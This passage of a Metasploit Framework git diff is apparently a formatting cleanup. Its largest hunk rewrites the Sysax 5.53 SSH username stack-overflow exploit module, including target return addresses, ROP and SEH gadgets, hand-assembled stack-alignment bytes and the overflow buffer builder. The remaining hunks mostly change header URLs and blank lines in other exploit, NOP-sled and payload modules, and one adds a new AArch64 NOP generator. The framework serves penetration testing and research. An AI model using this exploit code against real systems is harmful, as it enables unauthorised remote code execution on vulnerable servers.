+            This module exploits a vulnerability found in Sysax's SSH service.  By
+          supplying a long username, the SSH server will copy that data on the stack
+          without proper bounds checking, therefore allowing remote code execution
+          under the context of the user.  Please note that previous versions
+          (before 5.53) are also affected by this bug.
         },
-      'DefaultOptions'  =>
-        {
-          'EXITFUNC' => "seh"
-        },
-      'Platform'       => 'win',
-      'Targets'        =>
-        [
+        'License'        => MSF_LICENSE,
+        'Author'         =>
           [
-            'Sysax 5.53 on Win XP SP3 / Win2k3 SP0',
-            {
-              'Rop' => false,
-              'Ret' => 0x00402669  # POP/POP/RET - sysaxservd.exe
-            }
+            'Craig Freyman',  # Initial discovery, PoC
+            'sinn3r'          # Metasploit
           ],
+        'References'     =>
           [
-            'Sysax 5.53 on Win2K3 SP1/SP2',
-            {
-              'Rop' => true,
-              'Ret' => 0x0046d23c  # ADD ESP, 0F8C # RETN
-            }
-          ]
-        ],
-      'Privileged'     => false,
-      'DisclosureDate' => "Feb 27 2012",
-      'DefaultTarget'  => 0))
+            ['OSVDB', '79689'],
+            ['URL', 'http://www.pwnag3.com/2012/02/sysax-multi-server-ssh-username-exploit.html'],
+            ['EDB', '18535']
+          ],
+        'Payload'        =>
+          {
+            'Space'           => 1024,
+            'BadChars'        => "\x00\x3a",
+            'StackAdjustment' => -3500
+          },
+        'DefaultOptions' =>
+          {
+            'EXITFUNC' => "seh"
+          },
+        'Platform'       => 'win',
+        'Targets'        =>
+          [
+            [
+              'Sysax 5.53 on Win XP SP3 / Win2k3 SP0',
+              {
+                'Rop' => false,
+                'Ret' => 0x00402669  # POP/POP/RET - sysaxservd.exe
+              }
+            ],
+            [
+              'Sysax 5.53 on Win2K3 SP1/SP2',
+              {
+                'Rop' => true,
+                'Ret' => 0x0046d23c  # ADD ESP, 0F8C # RETN
+              }
+            ]
+          ],
+        'Privileged'     => false,
+        'DisclosureDate' => "Feb 27 2012",
+        'DefaultTarget'  => 0
+      )
+    )
 
     register_options(
-      [
-        OptInt.new('RPORT', [false, 'The target port', 22])
-      ])
+      [ OptInt.new('RPORT', [false, 'The target port', 22]) ]
+    )
   end
 
   def check
     begin
       connect
-      banner = sock.get_once(-1,5) || ''
+      banner = sock.get_once(-1, 5) || ''
       disconnect
       vprint_status("Banner: #{banner}")
-      if banner =~ /SSH\-2\.0\-SysaxSSH_1\.0/
+      if banner.match?(/SSH\-2\.0\-SysaxSSH_1\.0/)
         return Exploit::CheckCode::Appears
       end
     rescue
-      vprint_error("An error has occured while trying to read a response from target")
+      vprint_error("An error has occurred while trying to read a response from target")
       return Exploit::CheckCode::Unknown
     end
 
-    return Exploit::CheckCode::Safe
+    Exploit::CheckCode::Safe
   end
 
-  def load_netssh
-    begin
-      require 'net/ssh'
-      return true
-    rescue LoadError
-      return false
-    end
-  end
-
-  def get_regular_exploit
+  def generate_regular_exploit
     #
     # Align the stack to the beginning of the fixed size payload
     #
-    align  = "\x54"              #PUSH ESP
-    align << "\x58"              #POP EAX
-    align << "\x04\x08"          #ADD AL,0x08
-    align << "\x8b\x18"          #MOV EBX, [EAX]
-    align << "\x93"              #XCHG EAX,EBX
-    align << "\x66\x2d\x10\x04"  #SUB AX,0x361
-    align << "\x50"              #PUSH EAX
-    align << "\xc3"              #RET
+    align =  "\x54"              # PUSH ESP
+    align << "\x58"              # POP EAX
+    align << "\x04\x08"          # ADD AL,0x08
+    align << "\x8b\x18"          # MOV EBX, [EAX]
+    align << "\x93"              # XCHG EAX,EBX
+    align << "\x66\x2d\x10\x04"  # SUB AX,0x361
+    align << "\x50"              # PUSH EAX
+    align << "\xc3"              # RET
 
     #
     # Our payload limited to 1024+4 bytes
@@ -122,20 +116,18 @@ class MetasploitModule < Msf::Exploit::Remote
     # * After SEH, we have ~1860 bytes, but we don't need that because we're doing a
     #   partial-overwrite to allow a null byte in SEH.
     #
-    buf  = ''
+    buf = ''
     buf << rand_text(392, payload_badchars)
     buf << rand_text(20, payload_badchars)
-    buf << rand_text(9204-buf.length-align.length-p.length, payload_badchars) #8796+392+20
+    buf << rand_text(9204 - buf.length - align.length - p.length, payload_badchars) # 8796+392+20
     buf << p
     buf << align
-    buf << "\xeb" + [0-align.length-2].pack('c') + make_nops(2) #Short jmp back
+    buf << "\xeb" + [0 - align.length - 2].pack('c') + make_nops(2) # Short jmp back
     buf << [target.ret].pack('V*')
-
-    return buf
+    buf
   end
 
-  def get_rop_exploit
-
+  def generate_rop_exploit
     junk = rand_text(4).unpack("L")[0].to_i
     nop  = make_nops(4).unpack("L")[0].to_i
 
@@ -171,38 +163,28 @@ class MetasploitModule < Msf::Exploit::Remote
     p << payload.encoded
 
     #
-    # Similar buffer structure to get_regular_exploit
+    # Similar buffer structure to generate_regular_exploit
     #
-    buf  = ''
+    buf = ''
     buf << rand_text(392, payload_badchars)
     buf << rand_text(20, payload_badchars)
     buf << rand_text(1012, payload_badchars)
     buf << p
-    buf << rand_text(9204-buf.length)
+    buf << rand_text(9204 - buf.length)
     buf << rand_text(4, payload_badchars)
     buf << [target.ret].pack('V*')
-
-    return buf
+    buf
   end
 
   def exploit
-    #
-    # Load net/ssh so we can talk the SSH protocol
-    #
-    has_netssh = load_netssh
-    if not has_netssh
-      print_error("You don't have net/ssh installed.  Please run gem install net-ssh")
-      return
-    end
-
     #
     # Create buffer based on target (DEP or no DEP)
     # If possible, we still prefer to use the regular version because it's more stable
     #
     if target['Rop']
-      buf = get_rop_exploit
+      buf = generate_rop_exploit
     else
-      buf = get_regular_exploit
+      buf = generate_regular_exploit
     end
 
     #
@@ -215,22 +197,20 @@ class MetasploitModule < Msf::Exploit::Remote
       ssh = Net::SSH.start(
         datastore['RHOST'],
         buf,
-        {
-          :password  => pass,
-          :port      => datastore['RPORT'],
-          :timeout   => 1,
-          :proxy     => factory,
-          :config    => false,
-          :non_interactive => true
-        })
-
-      ::Timeout.timeout(1) {ssh.close} rescue nil
+        password: pass,
+        port: datastore['RPORT'],
+        timeout: 1,
+        proxy: factory,
+        config: false,
+        non_interactive: true
+      )
 
+      ::Timeout.timeout(1) { ssh.close }
     rescue Errno::ECONNREFUSED
       print_error("Cannot establish a connection on #{rhost}:#{rport}")
       return
-    rescue ::Exception => e
-      if e.message =~ /fingerprint [0-9a-z\:]+ does not match/
+    rescue StandardError => e
+      if e.message.match?(/fingerprint [0-9a-z\:]+ does not match/)
         print_error("Please remove #{rhost}:#{rport} from your known_hosts list")
         return
       end
@@ -239,5 +219,3 @@ class MetasploitModule < Msf::Exploit::Remote
     handler(ssh)
   end
 end
-
-
diff --git a/modules/exploits/windows/ssl/ms04_011_pct.rb b/modules/exploits/windows/ssl/ms04_011_pct.rb
index 6f3b845dc9..3826e39dc7 100644
--- a/modules/exploits/windows/ssl/ms04_011_pct.rb
+++ b/modules/exploits/windows/ssl/ms04_011_pct.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -189,5 +189,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/telnet/gamsoft_telsrv_username.rb b/modules/exploits/windows/telnet/gamsoft_telsrv_username.rb
index fd664b5641..9bdd4bbdbc 100644
--- a/modules/exploits/windows/telnet/gamsoft_telsrv_username.rb
+++ b/modules/exploits/windows/telnet/gamsoft_telsrv_username.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -108,5 +108,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/telnet/goodtech_telnet.rb b/modules/exploits/windows/telnet/goodtech_telnet.rb
index 0649c25031..3378ccec6f 100644
--- a/modules/exploits/windows/telnet/goodtech_telnet.rb
+++ b/modules/exploits/windows/telnet/goodtech_telnet.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -66,5 +66,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/tftp/attftp_long_filename.rb b/modules/exploits/windows/tftp/attftp_long_filename.rb
index 91e9ccc131..0df62ca875 100644
--- a/modules/exploits/windows/tftp/attftp_long_filename.rb
+++ b/modules/exploits/windows/tftp/attftp_long_filename.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -72,5 +72,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     disconnect_udp
   end
-
 end
diff --git a/modules/exploits/windows/tftp/distinct_tftp_traversal.rb b/modules/exploits/windows/tftp/distinct_tftp_traversal.rb
index 7e11389f14..b260070da3 100644
--- a/modules/exploits/windows/tftp/distinct_tftp_traversal.rb
+++ b/modules/exploits/windows/tftp/distinct_tftp_traversal.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/tftp/dlink_long_filename.rb b/modules/exploits/windows/tftp/dlink_long_filename.rb
index 8e3cde787e..4208af5357 100644
--- a/modules/exploits/windows/tftp/dlink_long_filename.rb
+++ b/modules/exploits/windows/tftp/dlink_long_filename.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -76,5 +76,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect_udp
   end
-
 end
diff --git a/modules/exploits/windows/tftp/futuresoft_transfermode.rb b/modules/exploits/windows/tftp/futuresoft_transfermode.rb
index bcbc6f0a5b..617d7dea14 100644
--- a/modules/exploits/windows/tftp/futuresoft_transfermode.rb
+++ b/modules/exploits/windows/tftp/futuresoft_transfermode.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -73,5 +73,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect_udp
   end
-
 end
diff --git a/modules/exploits/windows/tftp/netdecision_tftp_traversal.rb b/modules/exploits/windows/tftp/netdecision_tftp_traversal.rb
index 43191d7ccb..e775a7954b 100644
--- a/modules/exploits/windows/tftp/netdecision_tftp_traversal.rb
+++ b/modules/exploits/windows/tftp/netdecision_tftp_traversal.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/tftp/opentftp_error_code.rb b/modules/exploits/windows/tftp/opentftp_error_code.rb
index d211f35438..d9fb4d1a4a 100644
--- a/modules/exploits/windows/tftp/opentftp_error_code.rb
+++ b/modules/exploits/windows/tftp/opentftp_error_code.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -88,7 +88,6 @@ class MetasploitModule < Msf::Exploit::Remote
     disconnect_udp
 
   end
-
 end
 
 =begin
diff --git a/modules/exploits/windows/tftp/quick_tftp_pro_mode.rb b/modules/exploits/windows/tftp/quick_tftp_pro_mode.rb
index 2a83d2b480..57c46a1cdd 100644
--- a/modules/exploits/windows/tftp/quick_tftp_pro_mode.rb
+++ b/modules/exploits/windows/tftp/quick_tftp_pro_mode.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -68,5 +68,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect_udp
   end
-
 end
diff --git a/modules/exploits/windows/tftp/tftpd32_long_filename.rb b/modules/exploits/windows/tftp/tftpd32_long_filename.rb
index 08d2b16917..e35cd781ea 100644
--- a/modules/exploits/windows/tftp/tftpd32_long_filename.rb
+++ b/modules/exploits/windows/tftp/tftpd32_long_filename.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -70,5 +70,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     disconnect_udp
   end
-
 end
diff --git a/modules/exploits/windows/tftp/tftpdwin_long_filename.rb b/modules/exploits/windows/tftp/tftpdwin_long_filename.rb
index 4979dac733..749b7163d6 100644
--- a/modules/exploits/windows/tftp/tftpdwin_long_filename.rb
+++ b/modules/exploits/windows/tftp/tftpdwin_long_filename.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -59,5 +59,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     disconnect_udp
   end
-
 end
diff --git a/modules/exploits/windows/tftp/tftpserver_wrq_bof.rb b/modules/exploits/windows/tftp/tftpserver_wrq_bof.rb
index de30705671..a440ae9d8b 100644
--- a/modules/exploits/windows/tftp/tftpserver_wrq_bof.rb
+++ b/modules/exploits/windows/tftp/tftpserver_wrq_bof.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Exploit::Remote
-
   Rank = NormalRanking
   include Msf::Exploit::Remote::Udp
 
@@ -90,5 +89,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect_udp
   end
-
 end
diff --git a/modules/exploits/windows/tftp/threectftpsvc_long_mode.rb b/modules/exploits/windows/tftp/threectftpsvc_long_mode.rb
index cebb57e48d..e18b98e285 100644
--- a/modules/exploits/windows/tftp/threectftpsvc_long_mode.rb
+++ b/modules/exploits/windows/tftp/threectftpsvc_long_mode.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -59,5 +59,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     disconnect_udp
   end
-
 end
diff --git a/modules/exploits/windows/unicenter/cam_log_security.rb b/modules/exploits/windows/unicenter/cam_log_security.rb
index 2b7a2319f4..aac6b4fd7f 100644
--- a/modules/exploits/windows/unicenter/cam_log_security.rb
+++ b/modules/exploits/windows/unicenter/cam_log_security.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -76,5 +76,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     disconnect
   end
-
 end
diff --git a/modules/exploits/windows/vnc/realvnc_client.rb b/modules/exploits/windows/vnc/realvnc_client.rb
index 9c7788a680..d9df9c28b8 100644
--- a/modules/exploits/windows/vnc/realvnc_client.rb
+++ b/modules/exploits/windows/vnc/realvnc_client.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -72,5 +72,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     service.close_client(client)
   end
-
 end
diff --git a/modules/exploits/windows/vnc/ultravnc_client.rb b/modules/exploits/windows/vnc/ultravnc_client.rb
index 04e8f3a118..11a1fb1386 100644
--- a/modules/exploits/windows/vnc/ultravnc_client.rb
+++ b/modules/exploits/windows/vnc/ultravnc_client.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -73,5 +73,4 @@ class MetasploitModule < Msf::Exploit::Remote
     handler
     service.close_client(client)
   end
-
 end
diff --git a/modules/exploits/windows/vnc/ultravnc_viewer_bof.rb b/modules/exploits/windows/vnc/ultravnc_viewer_bof.rb
index 5c88d0776f..a6147ecd6a 100644
--- a/modules/exploits/windows/vnc/ultravnc_viewer_bof.rb
+++ b/modules/exploits/windows/vnc/ultravnc_viewer_bof.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/vnc/winvnc_http_get.rb b/modules/exploits/windows/vnc/winvnc_http_get.rb
index 0ac5d9e479..1ceec34c73 100644
--- a/modules/exploits/windows/vnc/winvnc_http_get.rb
+++ b/modules/exploits/windows/vnc/winvnc_http_get.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-  class MetasploitModule < Msf::Exploit::Remote
+class MetasploitModule < Msf::Exploit::Remote
   Rank = AverageRanking
 
   include Msf::Exploit::Remote::HttpClient
@@ -66,5 +65,4 @@
     handler
 
   end
-
 end
diff --git a/modules/exploits/windows/vpn/safenet_ike_11.rb b/modules/exploits/windows/vpn/safenet_ike_11.rb
index 2b2098aaaf..23f361c3fb 100644
--- a/modules/exploits/windows/vpn/safenet_ike_11.rb
+++ b/modules/exploits/windows/vpn/safenet_ike_11.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/windows/winrm/winrm_script_exec.rb b/modules/exploits/windows/winrm/winrm_script_exec.rb
index 12a7aed95e..46852a3487 100644
--- a/modules/exploits/windows/winrm/winrm_script_exec.rb
+++ b/modules/exploits/windows/winrm/winrm_script_exec.rb
@@ -1,10 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Exploit::Remote
   Rank = ManualRanking
 
@@ -187,7 +185,7 @@ class MetasploitModule < Msf::Exploit::Remote
       return false
     end
     unless streams.class == Hash
-      print_error "Recieved error while running check"
+      print_error "Received error while running check"
       return false
     end
     if streams['stderr'].include? "not recognized"
@@ -198,7 +196,7 @@ class MetasploitModule < Msf::Exploit::Remote
       next unless line.start_with? "Version"
       major_version = line.match(/\d(?=\.)/)[0]
       if major_version == "1"
-        print_error "The target is running an older version of powershell"
+        print_error "The target is running an older version of Powershell"
         return false
       end
     end
@@ -217,7 +215,7 @@ class MetasploitModule < Msf::Exploit::Remote
       return false
     end
     unless streams.class == Hash
-      print_error "Recieved error while running check"
+      print_error "Received error while running check"
       return false
     end
     streams = winrm_run_cmd("#{@invoke_powershell} Get-ExecutionPolicy")
@@ -236,5 +234,4 @@ class MetasploitModule < Msf::Exploit::Remote
     end
     return true
   end
-
 end
diff --git a/modules/exploits/windows/wins/ms04_045_wins.rb b/modules/exploits/windows/wins/ms04_045_wins.rb
index b15058c573..cf7daefb1b 100644
--- a/modules/exploits/windows/wins/ms04_045_wins.rb
+++ b/modules/exploits/windows/wins/ms04_045_wins.rb
@@ -1,10 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Exploit::Remote
   Rank = GreatRanking
 
@@ -200,5 +198,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     return ret
   end
-
 end
diff --git a/modules/nops/aarch64/simple.rb b/modules/nops/aarch64/simple.rb
new file mode 100644
index 0000000000..ae29aa5c47
--- /dev/null
+++ b/modules/nops/aarch64/simple.rb
@@ -0,0 +1,44 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+###
+#
+# SingleByte
+# ----------
+#
+# This class implements simple NOP generator for AARCH64
+#
+###
+class MetasploitModule < Msf::Nop
+
+  def initialize
+    super(
+      'Name'        => 'Simple',
+      'Alias'       => 'armle_simple',
+      'Description' => 'Simple NOP generator',
+      'License'     => MSF_LICENSE,
+      'Arch'        => ARCH_AARCH64)
+    register_advanced_options(
+      [
+        OptBool.new('RandomNops', [ false, "Generate a random NOP sled", true ])
+      ])
+  end
+
+  def generate_sled(length, opts)
+    random   = opts['Random']   || datastore['RandomNops']
+    nops = [
+      0xd503201f,          #  nop
+      0xaa0103e1,          #  mov	x1, x1
+      0xaa0203e2,          #  mov	x2, x2
+      0x2a0303e3,          #  mov	w3, w3
+      0x2a0403e4,          #  mov	w4, w4
+    ]
+    if random
+      return ([nops[rand(nops.length)]].pack("V*") * (length/4))
+    end
+    return ([nops[0]].pack("V*") * (length/4))
+  end
+end
+
diff --git a/modules/nops/armle/simple.rb b/modules/nops/armle/simple.rb
index 92c582eed2..b90a0c0f6f 100644
--- a/modules/nops/armle/simple.rb
+++ b/modules/nops/armle/simple.rb
@@ -1,10 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 ###
 #
 # SingleByte
@@ -15,7 +13,6 @@
 ###
 class MetasploitModule < Msf::Nop
 
-
   def initialize
     super(
       'Name'        => 'Simple',
@@ -57,5 +54,4 @@ class MetasploitModule < Msf::Nop
 
     return ([nops[0]].pack("V*") * (length/4))
   end
-
 end
diff --git a/modules/nops/mipsbe/better.rb b/modules/nops/mipsbe/better.rb
index 1c14f26fc8..abcc08a984 100644
--- a/modules/nops/mipsbe/better.rb
+++ b/modules/nops/mipsbe/better.rb
@@ -1,10 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 ###
 #
 # MixedNop
@@ -15,7 +13,6 @@
 ###
 class MetasploitModule < Msf::Nop
 
-
   def initialize
     super(
       'Name'        => 'Better',
@@ -101,6 +98,5 @@ class MetasploitModule < Msf::Nop
 
     return sled
   end
-
 end
 
diff --git a/modules/nops/php/generic.rb b/modules/nops/php/generic.rb
index 3ea7f70870..bb49a7fec6 100644
--- a/modules/nops/php/generic.rb
+++ b/modules/nops/php/generic.rb
@@ -1,10 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 ###
 #
 # This class implements a "nop" generator for PHP payloads
@@ -27,5 +25,4 @@ class MetasploitModule < Msf::Nop
     # Default to just spaces for now
     " " * length
   end
-
 end
diff --git a/modules/nops/ppc/simple.rb b/modules/nops/ppc/simple.rb
index fd9308d27b..b27006881d 100644
--- a/modules/nops/ppc/simple.rb
+++ b/modules/nops/ppc/simple.rb
@@ -1,10 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 ###
 #
 # SingleByte
@@ -59,5 +57,4 @@ class MetasploitModule < Msf::Nop
 
     return ("\x60" * length)[0, length]
   end
-
 end
diff --git a/modules/nops/sparc/random.rb b/modules/nops/sparc/random.rb
index 013f9b0aae..a866293768 100644
--- a/modules/nops/sparc/random.rb
+++ b/modules/nops/sparc/random.rb
@@ -1,10 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 ###
 #
 # SingleByte
@@ -205,5 +203,4 @@ class MetasploitModule < Msf::Nop
       rand(len - 1) + 1
     ].pack('N')
   end
-
 end
diff --git a/modules/nops/tty/generic.rb b/modules/nops/tty/generic.rb
index d167794a4b..19776f3701 100644
--- a/modules/nops/tty/generic.rb
+++ b/modules/nops/tty/generic.rb
@@ -1,10 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 ###
 #
 # This class implements a "nop" generator for TTY payloads
@@ -27,5 +25,4 @@ class MetasploitModule < Msf::Nop
     # Default to just spaces for now
     " " * length
   end
-
 end
diff --git a/modules/nops/x64/simple.rb b/modules/nops/x64/simple.rb
index 314a6e2951..54cd7c0e7f 100644
--- a/modules/nops/x64/simple.rb
+++ b/modules/nops/x64/simple.rb
@@ -1,10 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Nop
 
   def initialize
@@ -244,5 +242,4 @@ class MetasploitModule < Msf::Nop
 
     return sled
   end
-
 end
diff --git a/modules/nops/x86/opty2.rb b/modules/nops/x86/opty2.rb
index 422c9786cb..2b02372219 100644
--- a/modules/nops/x86/opty2.rb
+++ b/modules/nops/x86/opty2.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'rex/nop/opty2'
 
 
@@ -34,5 +33,4 @@ class MetasploitModule < Msf::Nop
 
     opty.generate_sled(length)
   end
-
 end
diff --git a/modules/nops/x86/single_byte.rb b/modules/nops/x86/single_byte.rb
index 053adf1d7c..0e9c031e97 100644
--- a/modules/nops/x86/single_byte.rb
+++ b/modules/nops/x86/single_byte.rb
@@ -1,10 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 ###
 #
 # This class implements single-byte NOP generation for X86.  It takes from
@@ -142,5 +140,4 @@ SINGLE_BYTE_SLED =
 
     return out_sled
   end
-
 end
diff --git a/modules/payloads/singles/aix/ppc/shell_bind_tcp.rb b/modules/payloads/singles/aix/ppc/shell_bind_tcp.rb
index 5d6ca69e38..a184cd4de3 100644
--- a/modules/payloads/singles/aix/ppc/shell_bind_tcp.rb
+++ b/modules/payloads/singles/aix/ppc/shell_bind_tcp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -114,5 +114,4 @@ module MetasploitModule
 
       payload
   end
-
 end
diff --git a/modules/payloads/singles/aix/ppc/shell_find_port.rb b/modules/payloads/singles/aix/ppc/shell_find_port.rb
index 4c3b02f22a..62369ca0b6 100644
--- a/modules/payloads/singles/aix/ppc/shell_find_port.rb
+++ b/modules/payloads/singles/aix/ppc/shell_find_port.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -103,5 +103,4 @@ module MetasploitModule
 
     payload
   end
-
 end
diff --git a/modules/payloads/singles/aix/ppc/shell_interact.rb b/modules/payloads/singles/aix/ppc/shell_interact.rb
index d0ce9f53a4..d6e1238548 100644
--- a/modules/payloads/singles/aix/ppc/shell_interact.rb
+++ b/modules/payloads/singles/aix/ppc/shell_interact.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -50,5 +50,4 @@ module MetasploitModule
       "\x05"
 
   end
-
 end
diff --git a/modules/payloads/singles/aix/ppc/shell_reverse_tcp.rb b/modules/payloads/singles/aix/ppc/shell_reverse_tcp.rb
index cc19172b33..8980d6e832 100644
--- a/modules/payloads/singles/aix/ppc/shell_reverse_tcp.rb
+++ b/modules/payloads/singles/aix/ppc/shell_reverse_tcp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -100,5 +100,4 @@ module MetasploitModule
 
     payload
   end
-
 end
diff --git a/modules/payloads/singles/android/meterpreter_reverse_http.rb b/modules/payloads/singles/android/meterpreter_reverse_http.rb
index abc64ab86f..487b2d1b28 100644
--- a/modules/payloads/singles/android/meterpreter_reverse_http.rb
+++ b/modules/payloads/singles/android/meterpreter_reverse_http.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -49,5 +49,4 @@ module MetasploitModule
     opts[:stageless] = true
     super(opts)
   end
-
 end
diff --git a/modules/payloads/singles/android/meterpreter_reverse_https.rb b/modules/payloads/singles/android/meterpreter_reverse_https.rb
